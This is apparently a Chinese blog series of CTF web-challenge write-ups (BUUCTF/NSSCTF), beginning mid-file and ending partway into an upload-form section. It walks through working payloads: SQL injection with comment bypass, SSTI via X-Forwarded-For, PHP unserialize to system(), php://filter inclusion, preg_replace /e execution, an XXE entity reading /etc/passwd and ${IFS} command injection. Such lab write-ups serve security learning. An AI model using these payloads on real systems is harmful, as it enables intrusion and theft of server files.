rUnpUek5FR3FnL0p1bmlRVTEwV0w1bXRNUWVoSXJVIj4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icnFsYW5nIiB2YWx1ZT0iY24iPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyc3ZfZW50ZXIiIHZhbHVlPSIxIj4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icnN2X2RsIiB2YWx1ZT0iaWIiPjwvZm9ybT48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGlkPSJib3R0b21fbGF5ZXIiIGNsYXNzPSJzLWJvdHRvbS1sYXllciBzLWlzaW5kZXgtd3JhcCI+PGRpdiBjbGFzcz0icy1ib3R0b20tbGF5ZXItY29udGVudCI+PHAgY2xhc3M9ImxoIj48YSBjbGFzcz0idGV4dC1jb2xvciIgaHJlZj0iLy9ob21lLmJhaWR1LmNvbS8iIHRhcmdldD0iX2JsYW5rIj7lhbPkuo7nmb7luqY8L2E+PC9wPjxwIGNsYXNzPSJsaCI+PGEgY2xhc3M9InRleHQtY29sb3IiIGhyZWY9Ii8vaXIuYmFpZHUuY29tLyIgdGFyZ2V0PSJfYmxhbmsiPkFib3V0IEJhaWR1PC9hPjwvcD48cCBjbGFzcz0ibGgiPjxhIGNsYXNzPSJ0ZXh0LWNvbG9yIiBocmVmPSIvL3d3dy5iYWlkdS5jb20vZHV0eSIgdGFyZ2V0PSJfYmxhbmsiPuS9v+eUqOeZvuW6puWJjeW/heivuzwvYT48L3A+PHAgY2xhc3M9ImxoIj48YSBjbGFzcz0idGV4dC1jb2xvciIgaHJlZj0iLy9oZWxwLmJhaWR1LmNvbS8iIHRhcmdldD0iX2JsYW5rIj7luK7liqnkuK3lv4M8L2E+PC9wPjxwIGNsYXNzPSJsaCI+PGEgY2xhc3M9InRleHQtY29sb3IiIGhyZWY9Ii8vd3d3LmJlaWFuLmdvdi5jbi9wb3J0YWwvcmVnaXN0ZXJTeXN0ZW1JbmZvP3JlY29yZGNvZGU9MTEwMDAwMDIwMDAwMDEiIHRhcmdldD0iX2JsYW5rIj7kuqzlhaznvZHlronlpIcxMTAwMDAwMjAwMDAwMeWPtzwvYT48L3A+PHAgY2xhc3M9ImxoIj48YSBjbGFzcz0idGV4dC1jb2xvciIgaHJlZj0iLy9iZWlhbi5taWl0Lmdvdi5jbi8iIHRhcmdldD0iX2JsYW5rIj7kuqxJQ1Dor4EwMzAxNzPlj7c8L2E+PC9wPjxwIGNsYXNzPSJsaCI+PHNwYW4gaWQ9InllYXIiIGNsYXNzPSJ0ZXh0LWNvbG9yIj48L3NwYW4+PC9wPjxwIGNsYXNzPSJsaCI+PHNwYW4gY2xhc3M9InRleHQtY29sb3IiPuS6kuiBlOe9keiNr+WTgeS/oeaBr+acjeWKoei1hOagvOivgeS5piAo5LqsKS3nu4/okKXmgKctMjAxNy0wMDIwPC9zcGFuPjwvcD48cCBjbGFzcz0ibGgiPjxhIGNsYXNzPSJ0ZXh0LWNvbG9yIiBocmVmPSIvL3d3dy5iYWlkdS5jb20vbGljZW5jZS8iIHRhcmdldD0iX2JsYW5rIj7kv6Hmga/nvZHnu5zkvKDmkq3op4blkKzoioLnm67orrjlj6/or4EgMDExMDUxNjwvYT48L3A+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPnZhciBkYXRlPW5ldyBEYXRlLHllYXI9ZGF0ZS5nZXRGdWxsWWVhcigpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ5ZWFyIikuaW5uZXJUZXh0PSLCqSIreWVhcisiIEJhaWR1ICI8L3NjcmlwdD48L2JvZHk+PC9odG1sPg=='>

这个标签的功能很特殊,会嵌套显示出你的博客的内容,类似于画中画的效果。

根据上面三个问题分析:

这里通过报错是能知道当前文件在哪个路径下的。这里使用file:///读取服务器本地文件数据。

插入数据–失败

这里其实前面就知道了。正则表达式的过滤很严谨,几乎可以说完全是为了http协议准备的。

public function isValidBlog()
{
# 对博客内容近乎全部符号的过滤
$blog = $this->blog;
#过滤传入的博客地址是否为http的格式
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

更新数据–失败

脚本测试的前提是hackbar能完整的模拟测试,但是这次翻车了。

?no=(if((UPDATE fakebook.users SET data='O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'WHERE no='1'),1,2))

-- 然后报错:
[*]查询错误! (您的 SQL 语法有错误;请检查与您的 MariaDB 服务器版本对应的手册,了解在 'UPDATE fakebook.users SET data='O:8:"UserInfo":3:{s:4 附近使用的正确语法:"name";s:5:"admin";s:3:"ag' 在第 1 行)
-- 这里即便是换成char()和concat()的组合形式都不行。

测回显点测试

这里还是一步步来。

--  1.测当前表列数
?no=1 order by 4
=> admin

?no=1 order by 5
=> 报错
-- 很显然,4列是当前表的极限(回显点)


-- 回显的点有了,尝试联合查询
?no=-1 union select 1,2,3,4
=> no hack ~_~
-- 绕过封禁
?no=-1 union/**/select 1,2,3,4
=> 能回显的只有一点:username列回显了个2,说明2是回显点。
-- 通过2这个回显点我们能做正常的SQL注入
-- 虽然脚本注入挺锻炼的,但是还是有些费劲。

问题来了,哪个反序列化要放哪里?

其实很好理解,那个username不是占用了2的位置么,那按顺序写下去,那个链接的位置不就是4么。(刚刚好就是之前测试出来的那个列名组合)

数据库存储的时候是以序列化后的代码存储在data列,而data列系解析到前端就是url和下面的博客文件加载内容。

写个data替换掉4的位置应该就差不多了。

-- 尝试插入反序列化代码
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
=> 前端页面回显的正是'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'当中的内容。

-- 其中,包含了一个至关重要的URL:
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3sxZTkzODcwMC01ODE4LTRjNjctYjJmOC1mNTc5OTQxZDg1OTR9IjsNCmV4aXQoMCk7DQo='>

获取其中的base64并解码:

echo base64_decode('PD9waHANCg0KJGZsYWcgPSAiZmxhZ3sxZTkzODcwMC01ODE4LTRjNjctYjJmOC1mNTc5OTQxZDg1OTR9IjsNCmV4aXQoMCk7DQo=');

// 解密结果
<?php
$flag = "flag{1e938700-5818-4c67-b2f8-f579941d8594}";
exit(0)

总结

写了我快一天的解析脚本,还算好玩吧。

其实即使是最后测试出了flag,我还是想通过脚本的方式测试出flag。

这次唯一学到的是使用/**/绕过对 union select 的封禁。

[RoarCTF 2019]Easy Java

原始信息

一眼就看出这个是框架了。

访问:/Login

<form action="Login" method="post">
<p><input type="text" name="username" id="username" placeholder="username"></p>
<p><input type="password" name="password" id="password" placeholder="password"></p>
<p><input type="submit" id="submit" value="Login"></p>
</form>
<br/>
<center><p><a href="Download?filename=help.docx" target="_blank">help</a></p></center>

-------------------------------------------------------------------------------------

访问:/Download?filename=help.docx

java.io.FileNotFoundException:{help.docx}

-------------------------------------------------------------------------------------

访问:/Download
get:
/Download?filename=help.docx

return:
java.io.FileNotFoundException:{help.docx}

解题

无法弱密码爆破,寻找其它突破口

java模板漏洞第一次接触,难度很大。这里参考资料:源码泄露博客资料

这里需要灵活点,给Download变式

get:
/Download
post:
filename=help.docx
// 这时就能下载文件了,下载help.docx

get:
/Download
post:
filename=/WEB-INF/web.xml
// 下载xml文件,看见了文件架构:

xml文件内容:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

既然得到了xml文件,那就得顺着java分析。

观察看来,这应该是映射前端架构和后端结构对应关系的一个文件。

带斜杠的都是前端访问的对应网页文件,那么点分的应该是后端对应的架构文件。

而java后端能映射为可执行文件的想来也就一种:class后缀文件。

如果斜杠是前端的标志,那点就是后端的标志,都能划分目录等级。

截取部分内容:
WEB-INF/web.xml泄露

WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

根据上面下载flag的class执行文件:

get:
/Dowlond
post:
/WEB-INF/classes/com/wm/ctf/FlagController.class

下载下来后,文件内部有一个base64代码:

ZmxhZ3tjYzhlZjY3My1mZWZiLTQ4YWItOGU1My00NWU2MWMyODY2Njh9Cg==
// 解析下:
echo base64_decode('<ZmxhZ3tjYzhlZjY3My1mZWZiLTQ4YWItOGU1My00NWU2MWMyODY2Njh9Cg==');
// 能解析出来,有flag就是了

总结

问题1:遇到模板漏洞怎么辨别是什么语言的?
插件识别语言类型
问题2:怎么攻克java的模板漏洞
目前看,还是得依赖网上的EXP,自己做的话还得多积累
一个是扫描,另外一个是观察源码当中的任何参数传递。

[BJDCTF2020]The mystery of ip

原始信息

flag.php页面出现一个框框,里面显示着IP地址
并且数据包缺少XFF

解题

原本以为XFF仅仅作转IP到内网用的,却没想到还能碰到XFF模板漏洞。

XFF模板注入攻击:
# 测是否存在模板漏洞
X-Forwarded-For: {{8*9}}
# 开始尝试执行php代码
X-Forwarded-For: {{phpinfo()}}
# 执行成功后,尝试扫目录:
X-Forwarded-For: {{'ls /'}}
# 尝试获取flag
X-Forwarded-For: {{'cat /flag'}}

[网鼎杯 2020 朱雀组]phpweb

原始信息

一个不断刷新的数据包,以及它的回显

POST /index.php HTTP/1.1
Host: da939493-9bee-4bd5-bc93-f1d4fd0195ee.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://da939493-9bee-4bd5-bc93-f1d4fd0195ee.node4.buuoj.cn:81/index.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

func=date&p=Y-m-d+h%3Ai%3As+a

回显

HTTP/1.1 200 OK
Server: openresty
Date: Wed, 16 Aug 2023 02:27:09 GMT
Content-Type: text/html
Content-Length: 1048
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.38

<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>

<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<br />
<b>Warning</b>: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in <b>/var/www/html/index.php</b> on line <b>24</b><br />
2023-08-16 02:27:09 am</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

解题

仔细观察是可以发现一些东西的对应关系的:

func=date&p=Y-m-d+h%3Ai%3As+a
对应
2023-08-16 02:27:09 am</p>

data显然是控制了后面为时间,并且显示出来。
为了验证码我们的猜想,尝试配对:

func=file_get_contents&p=index.php

回显

<?php
$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "eval", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "registregister_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents");
function gettime($func, $p)
{
// 回调函数,一个是函数一个是参数
$result = call_user_func($func, $p);
// 获取数据类型
$a = gettype($result);
// 是字符串就返回该变量
if ($a == "string") {
return $result;
} else {
return "";
}
}

class Test
{
// 定义时间的显示格式
var $p = "Y-m-d h:i:s a";
// 定义需要调用的函数
var $func = "date";

// 收尾的魔术方法
function __destruct()
{
// 掉用上面定义的函数来执行该方法
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
// 字符串换小写的函数
$func = strtolower($func);
// 直接查找是否存在于被限制的函数当中,而不是正则表达式的严谨过滤
if (!in_array($func, $disable_fun)) {
echo gettime($func, $p);
} else {
die("Hacker...");
}
}

这门看直接序列化那个Test再换掉函数就能随便查flag了

// 构造Payload
<?php
class Test
{
// 定义时间的显示格式
var $p = "tac /tmp/flagoefiu4r93";
// 定义需要调用的函数
var $func = "system";

}
$a = new Test();
$b = serialize($a);
// var_dump($b);
echo($b);


// 而后放到数据包当中
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"tac /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
// 直接出flag

总结

php反序列化。以及无效的黑名单过滤。

[BSidesCF 2020]Had a bad day

原始信息

从题目提供的源码当中找到这么一段:

<?php
$file = $_GET['category'];

if (isset($file)) {
// strpos限制字符串为特定的字符串才能通过验证
if (strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")) {
// 拼装php后缀进行文件包含。
include($file . '.php');
} else {
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

同时也知晓了flag就在当前目录下。

解题

文件包含漏洞,但是要尝试绕过过滤的东西。
总结来讲,文件包含漏洞尽可能的去尝试下伪协议,说不定能绕过很多东西。


// 直接读取flag文件
http://xxx.xxx.com/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

[BJDCTF2020]ZJCTF,不过如此

原始信息

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

解题

上面提示了一个next.php,试着去抓出里面的内容

// 先写两个伪协议绕过
get:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

return
I have a dream

PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

解码base64得到源码:

$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str)
{
// 使用正则表达式,e表示匹配后eval执行strtolower
// 参数名和值分割开了
// 这里需要灵活点的是自己定义参数名
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

foreach ($_GET as $re => $str) {
// 取出key和value,分别传入
echo complex($re, $str) . "\n";
}

function getFlag()
{
@eval($_GET['cmd']);
}

说实在,这是最难过的关口。具体参考这个大哥的博客:大佬

具体的讲,就是传入的参数名和参数值会作为正则表达式的匹配项和被匹配字符串。如果能被匹配到就能实现eval执行
(所以说getFlag就是个烟雾弹是吧……)

${} : 这个写法是表示一个变量,匹配前先解析掉
\S* : 这个是表示匹配全部的意思。
// 验证能执行
/next.php?\S*=${phpinfo()}

// 能行后,尝试访问根目录
?\S*=${var_dump(scandir(chr(47)))}
// 返回
array(20) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(4) "flag" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(4) "proc" [12]=> string(4) "root" [13]=> string(3) "run" [14]=> string(4) "sbin" [15]=> string(3) "srv" [16]=> string(3) "sys" [17]=> string(3) "tmp" [18]=> string(3) "usr" [19]=> string(3) "var" }

// 看到flag后,直接展示它的内容:
?\S*=${var_dump(readfile(chr(47).scandir(chr(47))[6]))}
//返回

[GXYCTF2019]禁止套娃

原始信息

就这么一句话一个网站,没其他了。

flag在哪里呢?

解题

这还犹豫什么?扫!

[200][application/octet-stream][137.00b] http://e5bf36bb-762c-4779-8c8d-e50d3cf70de6.node4.buuoj.cn:81/.git/index
[200][application/octet-stream][150.00b] http://e5bf36bb-762c-4779-8c8d-e50d3cf70de6.node4.buuoj.cn:81/.git/logs/HEAD
[200][application/octet-stream][240.00b] http://e5bf36bb-762c-4779-8c8d-e50d3cf70de6.node4.buuoj.cn:81/.git/info/exclude
[200][application/octet-stream][267.00b] http://e5bf36bb-762c-4779-8c8d-e50d3cf70de6.node4.buuoj.cn:81/.git/COMMIT_EDITMSG
[200][application/octet-stream][150.00b] http://e5bf36bb-762c-4779-8c8d-e50d3cf70de6.node4.buuoj.cn:81/.git/logs/refs/heads/master
100% (5719 of 5719) |############################################################| Elapsed Time: 0:03:10 Time: 0:03:10

git源码泄露,找个工具把源码抓出来。

# 工具仅仅抓出个index的原码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
// 过滤掉关键伪协议
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
// 过滤完全部的函数必须剩下 ";"(后面能悟出来没继续钻牛角尖还真的是万幸)
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
// 过滤函数关键字
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];

// eval执行php函数方法
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// 真·隐藏代码高亮
// highlight_file(__FILE__);
?>

这题目的过滤很明显,除了要求没有关键字外,就是要求必须全部是函数方法名,必须是a(b())的形式。

根据之前的做题经验,从php自带函数中取出”.”,再取当前文件列表,最后读取文件信息就O了。

?exp=var_dump(scandir(pos(localeconv())));

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }
-------------------------------------------
?exp=var_dump(show_source(next(array_reverse(scandir(pos(localeconv()))))));

<?php
$flag = "flag{0fa70868-49c0-4000-8123-8974cb20bad9}";
?>
bool(true)

[NCTF2019]Fake XML cookbook

原始信息

# 原始也就一个登录框
# 关键是返回的数据包
// POST的关键信息

<user><username>admin</username><password>password</password></user>

解题

XML格式,XXE漏洞

XXE相关以这位大佬和另外一位大佬为参考。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>password</password></user>

测试存在,尝试直接取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>password</password></user>

[BJDCTF2020]Mark loves cat

原始信息

一个网站,一个URL,目录扫描扫出.git配置文件。

解题

解题:

# 根据.git下载到源码后,发现了两个文件:index.php flag.php
# index.php
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

// 获取post数组并且把key和value的对应关系映射为实质的对应关系。
/*
例如:
post:
whoami=122
后台:
$'whoami'='122' => $whoami='122'

*/
foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
//
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}


#flag.php
<?php

$flag = file_get_contents('/flag');

理解是挺好理解的,但是……一个变量接收后转化为另外一个变量并且赋值为那个变量的值,有点繁琐。
说人话,你传什么变量,变量在后台里面的名字由你来定。
这题实在是太绕了……

# 白盒分析
# 首先明确一点思路,flag是这样子被导入的:
$flag = file_get_contents('/flag');
# 那么我们的思路就是利用各个赋值,把flag变量赋值到其他变量去并且显示出啦。

// 获得POST传输变量的键值对,并且转换为真实存在的PHP变量
foreach($_POST as $x => $y){
$$x = $y;
}

// 获得GET传输变量的键值对,并且转换为真实存在的PHP变量
// 但是GET变量的值是指向另外一个变量
foreach($_GET as $x => $y){
$$x = $$y;
}

# 下面有三种显示变量的方法,都是exit显示的。任意满足一个exit的条件就能出现flag
// 获取get变量的键值对
foreach($_GET as $x => $y){
// 检测get的flag值是否全等于键
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

构造payload:

get:
/index.php?flag=flag&is=flag

文件底部出现flag:
flag{4b2b8505-411b-4aa5-9192-b5e439fa8d90}

[WUSTCTF2020]朴实无华

原始信息

1.扫目录发现个:robots.txt
2.打开看见
User-agent: *
Disallow: /fAke_f1agggg.php
3.打开/fAke_f1agggg.php,查看数据包部分:
Look_at_me: /fl4g.php
4.打开/fl4g.php,找到源代码:

源代码在浏览器出现乱码,但可以在F12查数据包的地方看到不乱码的源码:

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧

解题

取出核心代码进行分析:

if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
// 检测空格,有才通过
if(!strstr($get_flag," ")){
// 把所有的cat替换为wctf2020
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

想要执行到最后的一步system,必须满足前面的各个条件:

绕过1

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

// 尝试使用科学计数法绕过:num=1e10

绕过2

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

需要绕过弱类型比较,根据0e开头的字符串弱类型比较时完全相等这点,写一个脚本:

# coding=utf8
# 这里搬运下py脚本,php抛出的结果不尽如人意,只能换py了
import hashlib

for i in range(0, 20 ** 44):
i = '0e' + str(i)
md5 = hashlib.md5(i.encode()).hexdigest() # 把得到的md5加密之后的16进制转换成字符串
if md5[:2] == '0e' and md5[2:].isdigit(): # [:]做切片:md5[:2]取前两个字符,md5[2:]:从第二个到最后一个字符是不是都是数字。
print('md5:{}'.format(i))
break

抛出对应的对比值后写到参数当中。

最后测试

get:
/fl4g.php?num=1e10&md5=0e215962017&get_flag=ls

return:
我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>404.html
fAke_f1agggg.php
fl4g.php
fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
img.jpg
index.php
robots.txt

找到flag文件后,使用${IFS}占位并输出flag,绕过空格过滤和cat过滤

get:
/fl4g.php?num=1e10&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

return:
我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>flag{e264c621-9227-4010-9e26-b9c175413fd9}

NSSCTF二周年 php签到

原始信息

<?php

function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}

解题

先进行源码分析

function waf($filename)
{
// 限制型数组
$black_list = array("ph", "htaccess", "ini");
// 返回文件路径的扩展名部分,返回的是末尾后缀
$ext = pathinfo($filename, PATHINFO_EXTENSION);
// 限制型查询
foreach ($black_list as $value) {
// 查看每个限制字符串在后缀中第一次出现的位置,不区分大小写
if (stristr($ext, $value)) {
return false;
}
}
return true;
}

if (isset($_FILES['file'])) {
// 获取文件名,并且进行url解码
$filename = urldecode($_FILES['file']['name']);
// 读取临时文件的内容
$content = file_get_contents($_FILES['file']['tmp_name']);
// 调用waf函数进行文件名检索
if (waf($filename)) {
// 检索无误后写入文件
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else {
highlight_file(__FILE__);
}

这里重要的绕过点是waf函数,既要让waf检测不出来,又要在上传文件的时候把一句话木马上传上去,怎么写文件名才是正确的呢?

首先你得幽一个表单

<!DOCTYPE html>
<html>

<head>
<meta charset="utf-8" />
<title>文件上传</title>
</head>

<body>
